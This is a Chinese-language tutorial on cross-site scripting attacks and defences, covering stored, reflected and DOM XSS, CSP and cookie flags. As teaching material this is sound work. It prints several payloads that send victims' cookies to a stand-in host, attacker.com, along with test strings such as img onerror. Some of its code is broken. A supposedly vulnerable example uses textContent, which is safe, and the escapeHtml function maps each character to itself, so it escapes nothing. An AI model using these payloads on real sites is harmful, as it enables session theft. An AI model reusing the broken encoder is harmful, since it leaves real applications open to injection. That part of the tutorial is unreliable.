XSS 跨站脚本攻击
XSS(Cross-Site Scripting,跨站脚本攻击)是 Web 应用中最常见的前端安全漏洞。攻击者通过在页面中注入恶意 JavaScript 代码,当其他用户访问该页面时,恶意脚本会在用户浏览器中执行。本章将详细介绍 XSS 的原理、类型和防护方法。
什么是 XSS?
XSS 攻击的核心是将恶意代码注入到 Web 页面中,这些代码会在受害者的浏览器中执行。攻击者可以利用 XSS :
- 窃取用户 Cookie 和会话
- 劫持用户账户
- 执行任意操作
- 传播恶意软件
- 进行钓鱼攻击
XSS 的原理
XSS 攻击的基本原理是:
- 攻击者找到应用中将用户输入直接输出到页面的地方
- 攻击者构造包含恶意 JavaScript 的输入
- 应用没有正确处理这个输入,将其包含在页面中
- 当其他用户访问这个页面时,恶意脚本在他们的浏览器中执行
示例
假设一个简单的评论系统:
<!-- 展示评论 -->
<div class="comments">
<!-- 用户输入直接显示 -->
<p>用户名:<span id="username"></span></p>
<p>内容:<span id="content"></span></p>
</div>
<script>
// 模拟获取并显示评论
document.getElementById('username').textContent = getQueryParam('name');
document.getElementById('content').textContent = getQueryParam('comment');
</script>
正常访问:
http://example.com/page?name=张三&comment=很好
攻击者输入:
http://example.com/page?name=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&comment=test
当其他用户访问这个链接时,他们的 Cookie 会被发送到攻击者的服务器!
XSS 的三种类型
1. 存储型 XSS(Stored XSS)
恶意脚本被永久存储在目标服务器上。当用户访问包含恶意脚本的页面时,脚本会自动执行。
攻击流程:
- 攻击者将恶意脚本提交到服务器
- 服务器将脚本存储在数据库中
- 其他用户访问包含该脚本的页面
- 恶意脚本在用户浏览器中执行
常见场景:
- 论坛帖子
- 评论区域
- 用户资料
- 产品评价
示例:
<!-- 攻击者提交的评论内容 -->
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
这个评论被存储后,所有查看该评论的用户都会触发恶意脚本。
2. 反射型 XSS(Reflected XSS)
恶意脚本作为用户请求的一部分被服务器接收,然后未经处理地反射回用户浏览器。
攻击流程:
- 攻击者构造包含恶意脚本的 URL
- 用户点击恶意链接
- 服务器将 URL 中的参数包含在响应页面中
- 恶意脚本在用户浏览器中执行
常见场景:
- 搜索结果
- 错误消息
- URL 参数
示例:
<!-- 恶意链接 -->
http://example.com/search?q=<script>alert('XSS')</script>
<!-- 服务器响应 -->
<h1>搜索结果: <script>alert('XSS')</script></h1>
3. DOM 型 XSS(DOM-based XSS)
完全在客户端发生的 XSS,恶意脚本通过操作 DOM 来执行,不需要服务器参与。
攻击流程:
- 攻击者构造包含恶意脚本的 URL
- 用户点击链接
- 客户端 JavaScript 从 URL 读取数据并操作 DOM
- 恶意脚本执行
示例:
<!-- 页面 JavaScript -->
<script>
// 从 URL 读取数据并直接写入页面
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
<!-- 恶意 URL -->
http://example.com/page.html?name=<script>alert('XSS')</script>
XSS 的危害
XSS 攻击可以导致:
- 会话劫持 - 窃取 Cookie,冒充用户
- 身份盗窃 - 获取用户敏感信息
- 钓鱼攻击 - 伪造登录页面
- 恶意重定向 - 将用户导向恶意网站
- 键盘记录 - 记录用户键盘输入
- 蠕虫传播 - 在社交网络上快速传播
- 广告点击欺诈 - 自动化点击广告
XSS 防护
1. 输出编码(最基本)
将用户输入的特殊字符转换为安全的形式,防止浏览器将其解释为代码。
HTML 编码
// 手动编码函数
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
// 使用
const safeContent = escapeHtml(userInput);
element.innerHTML = safeContent;
Java 框架
// Spring 使用 th:text 自动进行 HTML 转义
// 在 Thymeleaf 模板中
<span th:text="${userInput}"></span>
// JSTL
<c:out value="${userInput}"/>
2. 使用安全 API
尽量使用不会执行脚本的 API:
// 不安全
element.innerHTML = userInput;
// 安全
element.textContent = userInput;
// 或者
element.innerText = userInput;
3. Content Security Policy(CSP)
CSP 是一个额外的安全层,用于限制页面可以执行的脚本来源。
<!-- HTTP 响应头 -->
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
<!-- 或者在 meta 标签中 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://trusted.cdn.com">
这会阻止:
- 内联脚本(
<script>标签) - 来自不受信任域的脚本
4. HTTP Cookie 安全
// 设置安全 Cookie
Cookie cookie = new Cookie("sessionId", sessionId);
cookie.setHttpOnly(true); // 禁止 JavaScript 访问
cookie.setSecure(true); // 仅通过 HTTPS 传输
cookie.setSameSite("Strict"); // 防止 CSRF
response.addCookie(cookie);
5. 输入验证
虽然输入验证不能完全防止 XSS,但可以提供额外保护:
public String sanitizeInput(String input) {
// 只允许安全字符
if (!input.matches("^[a-zA-Z0-9\\s.,!?]+$")) {
return ""; // 拒绝不符合模式的内容
}
return input;
}
6. 框架的自动防护
现代框架通常内置了 XSS 防护:
- React:默认对插入的内容进行转义
- Angular:自动清理危险值
- Vue:提供 v-html 指令来处理信任的内容
// React 自动转义
const Component = ({ userInput }) => (
<div>{userInput}</div> // 自动转义
);
// 只有明确使用 dangerouslySetInnerHTML 才会执行原始 HTML
const Component = ({ userInput }) => (
<div dangerouslySetInnerHTML={{ __html: userInput }} />
);
各语言的最佳实践
Java(Spring)
// 使用 @ControllerAdvice 统一处理输出编码
@ControllerAdvice
public class XssProtectionAdvice implements ResponseBodyAdvice<Object> {
@Override
public Object beforeBodyWrite(Object body, MethodParameter returnType,
MediaType contentType, Class<? extends HttpMessageConverter<?>> converterType) {
if (body instanceof String) {
return StringEscapeUtils.escapeHtml4((String) body);
}
return body;
}
}
Python(Flask)
# 使用 Jinja2 自动转义
@app.template_filter('escape')
def escape(s):
return Markup.escape(s)
# 在模板中使用
{{ user_input }}
{{ user_input | escape }}
JavaScript(Node.js)
// 使用 validator.js
const validator = require('validator');
function sanitizeInput(input) {
return validator.escape(input);
}
// 或者使用 DOMPurify(服务端)
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const clean = DOMPurify.sanitize(dirty);
检测和测试 XSS
手动测试
测试以下 payload:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
自动化工具
- Burp Suite Scanner - 自动发现 XSS 漏洞
- OWASP ZAP - Web 应用安全扫描器
- xsser - XSS 检测工具
# 使用 xsser
xsser -u "http://target.com/search?q=test"
浏览器扩展
- DOM Invader - Burp Suite 的浏览器扩展,专门检测 DOM XSS
实际攻击案例
案例 1:存储型 XSS
攻击者在论坛帖子中嵌入:
<script>
// 获取当前用户的 cookie
var cookie = document.cookie;
// 发送到攻击者服务器
new Image().src = 'http://attacker.com/log?c=' + encodeURIComponent(cookie);
</script>
当其他用户查看这个帖子时,他们的会话 Cookie 会被窃取。
案例 2:反射型 XSS
搜索功能的 URL:
http://example.com/search?q=关键词
恶意链接:
http://example.com/search?q=<script>document.location='http://attacker.com/?'+document.cookie</script>
案例 3:DOM 型 XSS
页面代码:
var name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Welcome, ' + name;
恶意 URL:
http://example.com/page.html#<img src=x onerror=alert(1)>
CSP 实战配置
基础配置
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
允许 Google Analytics
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.google-analytics.com;
connect-src 'self' https://www.google-analytics.com;
严格模式(推荐)
Content-Security-Policy:
default-src 'none';
script-src 'self';
connect-src 'self';
img-src 'self';
style-src 'self';
base-uri 'self';
form-action 'self';
安全测试清单
在开发和测试过程中,检查以下几点:
- 所有用户输入 - 是否经过适当的转义?
- 所有输出点 - 是否正确编码?
- JavaScript API - 是否使用了安全的 API?
- Cookie - 是否设置了 HttpOnly 和 Secure?
- CSP - 是否配置了内容安全策略?
- 第三方内容 - 是否验证了外部脚本的来源?
XSS 与其他攻击的区别
- XSS vs CSRF:XSS 在用户浏览器执行,CSRF 利用用户的会话
- XSS vs SQL 注入:XSS 针对浏览器,SQL 注入针对数据库
- XSS vs CSRF:XSS 需要用户访问恶意页面,CSRF 只要请求即可
小结
XSS 是一种严重的前端安全漏洞,攻击者可以通过注入恶意脚本来:
- 窃取用户数据 - Cookie、会话信息
- 劫持用户会话 - 冒充用户操作
- 传播恶意内容 - 在合法网站中嵌入恶意代码
防护要点:
- 输出编码 - 将特殊字符转换为安全形式
- 使用安全 API - 避免 innerHTML,使用 textContent
- 内容安全策略(CSP) - 限制脚本执行来源
- HTTP Cookie 安全 - 设置 HttpOnly、Secure、SameSite
- 输入验证 - 白名单验证,但不是唯一防护
- 框架防护 - 利用框架的自动转义功能
记住:永远不要信任用户输入,所有输出都应该进行适当的编码!